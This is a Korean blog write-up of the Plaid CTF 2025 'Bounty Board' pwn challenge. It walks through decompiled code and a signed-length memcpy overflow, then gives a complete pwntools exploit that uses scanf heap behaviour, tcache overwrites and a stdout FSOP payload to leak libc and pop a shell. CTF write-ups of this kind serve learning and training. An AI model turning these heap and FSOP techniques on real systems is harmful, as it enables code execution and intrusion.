hiariz 님의 블로그
[Plaid CTF 2025] Bounty Board 본문
Plaid CTF 2025
plaidctf.com
문제 코드는 다음과 같습니다.
__int64 sub_14B0()
{
unsigned int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("[[ Menu ]]");
puts("0. Create Notes");
puts("1. Copy Notes");
puts("2. Exit");
printf("> ");
if ( (unsigned int)__isoc99_scanf("%d", &v2) == 1 && v2 < 3 )
return v2;
else
return 2;
}
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
char *s; // [rsp+10h] [rbp-30h]
int i; // [rsp+18h] [rbp-28h]
size_t n; // [rsp+20h] [rbp-20h] BYREF
unsigned int v8; // [rsp+28h] [rbp-18h] BYREF
unsigned int v9; // [rsp+2Ch] [rbp-14h] BYREF
_QWORD v10[2]; // [rsp+30h] [rbp-10h] BYREF
v10[1] = __readfsqword(0x28u);
alarm(0x1Eu);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
for ( i = sub_14B0(); i != 2; i = sub_14B0() )
{
if ( i )
{
if ( i == 1 )
{
printf("dst: ");
__isoc99_scanf("%d", &v9);
if ( v9 < dword_4020 )
{
printf("src: ");
__isoc99_scanf("%d", &v8);
if ( v8 < dword_4020 )
{
printf("len: ");
__isoc99_scanf("%ld", &n);
if ( (signed __int64)n <= qword_4070[v9] && (signed __int64)n <= qword_4070[v8] )
memcpy(*((void **)&unk_4030 + (int)v9), *((const void **)&unk_4030 + (int)v8), n);
else
printf("[!] invalid copy size\n");
}
else
{
printf("[!] invalid copy destination\n");
}
}
else
{
printf("[!] invalid copy source\n");
}
}
}
else if ( (unsigned int)dword_4020 < 8 )
{
printf("size: ");
__isoc99_scanf("%ld%*c", v10);
if ( v10[0] <= 0x100uLL )
{
s = (char *)malloc(v10[0] + 1LL);
fgets(s, LODWORD(v10[0]) + 1, stdin);
v10[0] = strlen(s);
*((_QWORD *)&unk_4030 + (unsigned int)dword_4020) = s;
v3 = dword_4020++;
qword_4070[v3] = v10[0];
}
else
{
printf("[!] invalid notes size\n");
}
}
else
{
printf("[!] max notes reached\n");
}
}
return 0LL;
}
문제 코드를 살펴보면 힙 청크 생성하는 함수와 특정 청크를 다른 청크로 특정 길이만큼 복사하는 함수만 존재합니다.
이 문제의 경우에는 문제 프로그램의 취약점보다는 libc 함수의 내부동작을 잘 이해하고 있어야 풀 수 있는 문제입니다.
먼저 문제의 취약점들을 살펴보면 다음과 같습니다.
- dst, src, len을 입력받고, len에 대해 하한 검증이 없음
- 특히 len이 signed로 파싱된 뒤 실제 복사 함수(memcpy/memmove 등)에는 size_t로 사용되면, 음수 len이 매우 큰 양수로 변환되어 OOB write 가능
그러나 여기서 이 취약점만 가지고는 libc 주소의 leak을 만들 수 없습니다. 이 방법이외에 다른 방법을 통해 libc 주소를 얻을 수 있는 방법을 찾아야합니다.
이때 사용하는 함수가 바로 scanf입니다. scanf는 입력값을 받을 때 다음과 같이 동작합니다.
- 입력값이 4KB 이상이면, scanf가 숫자를 파싱하는 동안 숫자 문자열을 임시로 저장할 버퍼가 필요
- glibc 구현은 짧으면 스택/작은 버퍼로 처리하지만, 길이가 길면 내부에서 heap으로 버퍼를 키우려고 malloc/realloc을 수행
- 그리고 파싱이 끝나면 그 임시 버퍼를 free
- 그 free된 chunk가 충분히 큰 크기(수 KB)라서 tcache/fastbin으로 안 가고 unsorted bin으로 처리
따라서 scanf를 통해 큰 숫자를 입력하여 unsorted bin을 생성한 후 copy 함수에 존재하는 취약점을 통해 tcache 구조체를 덮으면 tcache bin에 우리가 원하는 값을 덮어쓸 수 있습니다.
unsorted bin을 통해 fd/bk 값이 저장되는데 여기에는 libc 주소가 저장이 됩니다. 위의 취약점을 통해 해당 주소의 하위 2바이트를 stdout 주소로 덮어주면 해당 주소가 각 청크의 bins로 저장됩니다.

그리고 stdout 주소가 저장된 bin 사이즈를 할당하고 libc 주소 leak을 위한 fsop 페이로드를 보내주면 libc 주소가 릭이 됩니다
.
이를 통해 libc_base 주소와 system, fsop를 위한 구조체 주소들을 구해준 후 다시 똑같은 방식으로 fsop 페이로드를 stdout 구조체로 할당된 청크에 넣어주면 셸을 얻을 수 있습니다.
최종 익스플로잇 코드는 다음과 같습니다.
from pwn import *
context.arch = "amd64"
context.log_level = "info"
#p = remote("localhost", 1337)
p = process('./copy11')
libc = ELF("./libc.so.6", checksec=False)
gdb.attach(p)
def create(size, data):
p.sendlineafter(b"> ", b"0")
p.sendlineafter(b"size: ", str(size).encode())
if not data.endswith(b"\n"):
data += b"\n"
p.send(data)
def copy(dst, src, n):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"dst: ", str(dst).encode())
p.sendlineafter(b"src: ", str(src).encode())
p.sendlineafter(b"len: ", str(n).encode())
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
FSOP += p64(__pad5) + p32(_mode)
if _unused2 == b"":
FSOP += b"\x00"*0x14
else:
FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
FSOP += p64(vtable)
FSOP += more_append
return FSOP
tag16 = libc.sym["_IO_2_1_stdout_"] & 0xFFFF
payload0 = p16(tag16) * 20 + p64(0xCF1) + p64(0x6C50) * 2
create(0x40, payload0) # 0
create(0x27, p16(tag16) * 18) # 1
copy(1, 0, -1)
p.sendlineafter(b"> ", b"0" * 0x1000 + b"0")
p.sendlineafter(b"size: ", b"55")
p.send(p16(tag16) * 24 + b"\n") # 2
create(0x20, b"\n") # 3
copy(2, 3, -256)
copy(2, 1, 2)
copy(0, 2, -0x30)
copy(1, 0, 8)
copy(2, 3, -0x200)
copy(2, 1, -0x210)
for i in range(4):
copy(2, 1, -0x220 - 0x10 * i)
for i in range(1, 18):
copy(0, 2, -0x20 * i)
copy(2,1,-0x1d0)
create(0x90, p64(0xfbad1887) + p64(0) * 3)
raw = p.recvrepeat(2.5)
for mark in (b"0. Create Notes\n1. Copy Notes\n2. Exit\n> ", b"[[ Menu ]]"):
at = raw.find(mark)
if at != -1:
raw = raw[:at]
break
ptrs = []
for i in range(0, max(0, len(raw) - 7)):
q = u64(raw[i : i + 8])
if 0x700000000000 <= q < 0x800000000000:
ptrs.append(q)
if not ptrs:
log.failure(f"no leak ptr")
raise SystemExit(1)
leak_ptr = ptrs[0]
log.info(f"first leak ptr={leak_ptr:#x}")
libc_base = leak_ptr - 0x1bd4a0
if (libc_base & 0xFFF) != 0:
want = (libc.sym["_IO_2_1_stdout_"] + 0x83) & 0xFFF
libc_base = None
for q in ptrs:
if (q & 0xFFF) == want:
b = q - (libc.sym["_IO_2_1_stdout_"] + 0x83)
if (b & 0xFFF) == 0 and 0x700000000000 <= b < 0x800000000000:
libc_base = b
break
if libc_base is None:
log.failure("no libc base candidate")
raise SystemExit(1)
libc.address = libc_base
system = libc.sym["system"]
stdout = libc.sym["_IO_2_1_stdout_"]
stdout_lock = libc.address + u64(libc.read(libc.sym["_IO_2_1_stdout_"] + 0x88, 8))
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
log.success(f"leak={leak_ptr:#x} \nlibc={libc.address:#x}")
log.info(f"system={system:#x} \nstdout={stdout:#x} \nlock={stdout_lock:#x} \n_IO_wfile_jumps={_IO_wfile_jumps:#x}")
fsop = FSOP_struct(flags = u64(b"\x01\x01\x01\x01;sh\x00"), \
lock = stdout_lock, \
_IO_write_ptr = 0x1, \
_wide_data = stdout - 0x10, \
_mode = 0xffffffff, \
_chain = system, \
_unused2 = p32(0x0) + p64(0x0) + p64(stdout), \
vtable = _IO_wfile_jumps
)
p.sendline(b'0')
p.sendlineafter(b"size: ", b'240')
p.sendline(fsop)
p.interactive()

'CTF, Wargame' 카테고리의 다른 글
| [Plaid CTF 2025] zerodeo (CVE-2025-32023) (0) | 2026.02.26 |
|---|---|
| [Plaid CTF 2025] ocalc (1) | 2026.02.21 |
| [Plaid CTF 2025] Tumbleweed (0) | 2026.02.03 |
| [Dreamhack] object Object (0) | 2025.12.30 |
| [Dreamhack] Magnus Carlsen (0) | 2025.12.27 |
